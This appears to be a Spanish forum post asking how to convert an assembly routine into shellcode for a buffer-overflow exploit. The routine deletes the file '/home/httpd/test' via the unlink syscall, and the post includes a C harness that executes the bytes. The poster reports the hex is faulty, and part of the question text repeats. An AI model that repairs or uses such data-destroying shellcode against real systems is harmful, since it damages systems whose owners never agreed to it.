Hola a todos, estoy explotando un bof necesito una ayuda.
Necesito pasar esta serie de instrucciones a hexa para luego ejecutarlo con C.
Quiero pasar este código asm que borra un archivo a C tipo:
Pero me parece que estoy pasando mal el asm al hexadecimal, ¿cómo puedo pasarlo para ejecutarlo desde C?
Probé hacerlo con objdump pero no funciona.
Saludos.
Necesito pasar esta serie de instrucciones a hexa para luego ejecutarlo con C.
Código (asm) [Seleccionar]
.section .data
__archivo:
.asciz "/home/httpd/test" # Archivo a eliminar.
.section .text
.global main
main:
movl $10, %eax
movl $__archivo, %ebx
int $0x80
movl %eax, %ebx
movl $1, %eax
int $0x80
Quiero pasar este código asm que borra un archivo a C tipo:
Código (c) [Seleccionar]
char sc[] = "\xb8\x0a\x00\x00\x00\xbb\x8c\x90\x04\x08\xcd\x80\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80";
int main (void){
int (*func)();
func = (int (*)())sc;
(int)(*func)();
}
Pero me parece que estoy pasando mal el asm al hexadecimal, ¿cómo puedo pasarlo para ejecutarlo desde C?
Probé hacerlo con objdump pero no funciona.
Saludos.